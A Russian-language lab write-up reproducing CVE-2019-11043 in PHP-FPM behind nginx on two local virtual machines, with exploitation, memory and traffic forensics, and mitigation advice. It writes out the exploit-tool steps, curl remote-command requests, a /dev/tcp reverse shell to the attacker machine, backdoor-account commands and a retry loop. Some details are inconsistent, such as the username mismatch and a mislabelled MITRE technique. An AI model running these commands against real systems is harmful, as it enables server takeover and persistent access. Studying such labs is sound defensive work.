
Практическая лаборатория, воспроизводящая CVE-2019-11043 (RCE в PHP-FPM за nginx), демонстрирующая закрепление через обратный туннель, форензику памяти и анализ сетевого трафика.
В октябре 2019 года исследователи Debian Security Advisory Эмиль Лернер и Эндрю Данау опубликовали уведомление, предупреждающее сообщество Debian о критической уязвимости в PHP-FPM. Из‑за недостаточной проверки в коде обработки пути PHP-FPM злоумышленники могли манипулировать специально созданными запросами для достижения удалённого произвольного выполнения кода при определённых конфигурациях NGINX + PHP-FPM.
Эта лабораторная работа демонстрирует эксплуатацию:
Уязвимость, затрагивающая PHP-FPM, работающий за NGINX, которая при срабатывании может позволить злоумышленникам выполнять произвольный код и закрепляться в системе через обратный туннель.
Проект воссоздаёт уязвимую среду, выполняет цепочку эксплойта и оценивает, как злоумышленники достигают закрепления с помощью техник туннелирования в реальных сценариях.
Эта цепочка атак напрямую соответствует нескольким высокоэффективным техникам MITRE ATT&CK:
Обратное туннелирование для закрепления — это часто используемая TTP (Tactic, Technique, Procedure — тактика, техника, процедура), применяемая APT-группами, ботнетами и операторами программ-вымогателей. PHP-FPM остаётся широко развёрнутым в производственных средах, а неправильные конфигурации, эксплуатируемые CVE-2019-11043, до сих пор встречаются в реальных условиях.
Это не теоретические абстракции — они отражают точное поведение, задокументированное в активных кампаниях по эксплуатации уязвимостей с участием государственных субъектов и группировок программ-вымогателей.
Несмотря на то что CVE-2019-11043 уже несколько лет, уязвимость продолжает сохранять актуальность из-за следующих современных реалий безопасности:
Устаревшие PHP-приложения всё ещё повсюду. Многие организации продолжают использовать устаревшие стеки PHP 5.x/7.x из-за долгосрочных зависимостей веб-приложений, технического долга или страха сломать производственные системы. Такие среды часто остаются без обновлений и уязвимы.
NGINX + PHP-FPM — одна из самых распространённых хостинговых архитектур в мире. Это делает уязвимости PHP-FPM чрезвычайно привлекательными для злоумышленников, которые ищут большие и долговечные поверхности атаки.
Обратное туннелирование — ключевая техника закрепления в современных угрозах. Такие группы, как Lazarus, APT29, FIN11, и многочисленные операторы программ-вымогателей используют обратные SSH-туннели, WebSocket-туннели и даже PHP-реверс-шеллы для поддержания долгосрочного доступа, не полагаясь на открытые входящие порты.
Неправильные конфигурации остаются причиной №1 взломов. Даже при наличии патчей неправильно настроенные блоки NGINX «location» и плохо проверяемые переменные PATH_INFO продолжают подвергать среды эксплуатации.
Наборы автоматизации эксплойтов по-прежнему нацелены на эту CVE. Такие инструменты, как автоматические сканеры, ботнеты и IoT-вредоносы, регулярно проверяют уязвимые конфигурации PHP-FPM, поскольку эксплойт приводит к надёжному выполнению кода.
Облачные среды расширяют поверхность атаки. Плохо защищённые контейнеры, конфигурации общего хостинга и устаревшие базовые Docker-образы часто содержат незапатченные версии PHP-FPM, что ведёт к быстрому горизонтальному перемещению внутри облачных сетей.
Злоумышленники любят «лёгкую добычу». Уязвимость, обеспечивающая удалённое выполнение кода + закрепление на основе туннеля и требующая минимальных навыков, всегда останется целью высокого приоритета.
В сегодняшнем ландшафте угроз, где доминируют постоянный доступ, скрытое туннелирование и слабости цепочки поставок, понимание и демонстрация того, как эксплуатируется CVE-2019-11043, даёт критически важное понимание современных моделей атак и пробелов в защите.
Цель этой лабораторной работы — смоделировать реальную эксплуатацию CVE-2019-11043, критической уязвимости удалённого выполнения кода, затрагивающей PHP-FPM за nginx при определённых конфигурациях. Задача состояла в том, чтобы проанализировать уязвимость, воспроизвести эксплойт в контролируемой виртуальной среде и продемонстрировать риски, связанные с неправильно настроенной веб-инфраструктурой.
Были использованы две виртуальные машины: обе с именем пользователя username и паролем password.
| Роль | Машина | IP-адрес | Назначение |
|---|---|---|---|
| Цель / жертва | Ubuntu Server | 192.168.56.102 | Уязвимый PHP-FPM сервер с CVE-2019-11043 |
| Атакующий | Ubuntu Server | 192.168.56.103 | Выполняет эксплойт, reverse shell и закрепление |
Обновление apt
sudo apt update && sudo apt -y upgrade
Создание контейнера для эксплойта уязвимости.
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d
Обновление Apt, установка базовых php, python и дополнительных пакетов
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
netcat-traditional net-tools build-essential \
php ruby ruby-full
pip3 install requests
sudo apt install golang-go
Загружает инструмент для эксплуатации данной CVE и перемещает терминал для сборки эксплойта.
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build
На этом настройка завершена. Вот пример того, что можно сделать сначала:
В одном терминале (терминал 1) выполните:
nc -lvnp 4444
Это нужно для настройки прослушивающего канала и обеспечивает reverse shell; он должен всегда прослушивать, так как это позволяет выполнять команды далее в теоретическом эксперименте.
В другом терминале (терминал 2) выполните:
cd phuip-fpizdam
./phuip-fpizdam http://192.168.56.102:8080/index.php
Это должно вывести строки, подтверждающие, что вы успешно эксплуатировали уязвимость.
Наконец, откройте последний дополнительный терминал (терминал 3).
Сразу же можно начать проверку функциональности эксплойта, выполнив:
curl "http://192.168.56.102:8080/index.php?a=id"
Это создаёт веб-команду удалённого выполнения и выводит результат id. Однако, как показано на скриншоте ниже, из-за переполнения памяти бывают случаи, когда команда может работать или не работать; часто небольшие команды с большей вероятностью срабатывают.
Теоретически здесь можно выполнить любую команду, она должна быть расположена там, где в команде ниже указано HERE, однако шансы на выполнение полной команды могут варьироваться.
curl "http://192.168.56.102:8080/index.php?a=HERE"
Эта команда читает содержимое внутри оболочки.
http://192.168.56.102:8080/index.php?cmd=ls
В реальном примере эта команда, выполняемая злоумышленником, создала бы новую учётную запись и установила бы пароль password в кавычках.
useradd threat
echo "password" | passwd --stdin hacker
Эта команда создаёт reverse shell, однако это концептуальное доказательство, и его сложно создать, поскольку PHP-FPM периодически убивает и перезапускает рабочие процессы.
Когда повреждённый рабочий процесс умирает, внедрённые изменения php.ini умирают вместе с ним.
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"
Далее злоумышленник, скорее всего, использовал бы задачу планировщика, в данном примере CRON, поскольку сервер работает на Linux; это эквивалент процессов автозапуска Windows.
Лабораторная работа успешно воспроизвела CVE-2019-11043 в контролируемой среде и продемонстрировала, как неправильно настроенная связка nginx + PHP-FPM может быть удалённо эксплуатирована. Используя уязвимую конфигурацию fastcgi_split_path_info на основе регулярных выражений, машина атакующего смогла привести PHP-FPM в несогласованное состояние, в конечном счёте добившись произвольного выполнения кода. Кроме того, было выполнено извлечение лог-файлов с удалённого сервера из многих систем и проведён анализ логов, известных как связанные с этой уязвимостью.
После срабатывания уязвимости атакующий получал удалённое выполнение команд на цели и мог взаимодействовать с системой как локальный пользователь. Скомпрометированный веб-сервер принимал команды, выполнял их и возвращал вывод, что подтверждало полностью работающий удалённый шелл. Это подтвердило, что CVE остаётся надёжно эксплуатируемой в сочетании с уязвимой конфигурацией разбиения пути nginx и затронутыми версиями PHP-FPM.
Среда вела себя в соответствии с задокументированным поведением эксплойта. Такие команды, как whoami, id, ls и echo, успешно выполнялись, в то время как более сложные или интерактивные команды продемонстрировали нестабильность эксплуатируемого рабочего процесса PHP-FPM — один из известных эффектов этой уязвимости.
Как уже отмечалось, из-за нестабильности уязвимости, которая иногда срабатывает, а иногда нет, бывают случаи, когда она работает, а когда нет, поэтому рекомендуется использовать скрипты с циклическим повторением команд.
Эта уязвимость эксплуатирует CVE, напрямую связанную с проблемой переполнения памяти и буфера, поэтому важно просмотреть память хост-машины и проанализировать её с помощью Volatility.
Для этой лабораторной работы мы проанализировали основные журналы, связанные с этой уязвимостью: память и сетевой захват.
Сетевой захват показывает команды, которые пытаются выполняться на хост-машине. Они включают саму команду и множество символов, добавленных в конец URL к HTTP GET-запросу, отправляемому на сервер, что в свою очередь вызывает переполнение памяти.
Кроме того, в открытом виде можно увидеть команду, которая в этом безвредном примере скачивает изображение весёлой собаки из Google Images, а также саму команду с «юмористическим текстом» от создателя PHuip на GitHub.
Захват памяти, проанализированный с помощью Volatility и собранный в .json файл, показывает частые процессы с одним и тем же именем, выполняемые несколько раз подряд, что указывает на сбои и повторные запуски.
Это происходит потому, что ошибка переполнения памяти является корневой проблемой, связанной с этой уязвимостью. Пользователь может повторять команду, например, с помощью bash-скрипта: while true; do curl "command" sleep 0.01, выполняя команды несколько раз в секунду, пытаясь пробиться и получить то самое удалённое выполнение кода.
В целом проект подтвердил следующие положения:
Уязвимое регулярное выражение nginx достаточно, чтобы подвергнуть PHP-FPM риску удалённого выполнения кода.
PHP-FPM 8.1 (при такой настройке) по-прежнему эксплуатируем в условиях CVE-2019-11043.
Удалённый злоумышленник может получить полноценное выполнение команд, что позволяет манипулировать файлами, похищать данные и потенциально повышать привилегии.
Неправильные конфигурации reverse-proxy / FastCGI представляют собой поверхность атаки с высоким воздействием, особенно в сочетании с общедоступными точками загрузки или страницами phpinfo().
Результаты подчёркивают, насколько критична правильная конфигурация FastCGI, и указывают на необходимость безопасных настроек по умолчанию, регулярных аудитов конфигурации и минимального раскрытия диагностических конечных точек в производственных средах.
Эксплуатация CVE-2019-11043 демонстрирует, как единственная ошибка конфигурации в PHP-FPM и NGINX может привести к захвату сервера и постоянному доступу злоумышленника.
Команда Debian Security Advisory подтвердила, что обновление php7.0 до версии 7.0.33 или новее полностью закрывает эту уязвимость.
Своевременная установка патчей, усиленные конфигурации NGINX и мониторинг туннельной активности имеют решающее значение для предотвращения подобных атак в современных средах.
| MITRE ID | Название техники |
|---|
| T1071 | Туннелирование на прикладном уровне |
| T1572 | Туннелирование протокола |
| T1090 | Прокси / обратный прокси |
| T1505 | Серверные компоненты (PHP-FPM) |
| T1574 | Перехват потока выполнения |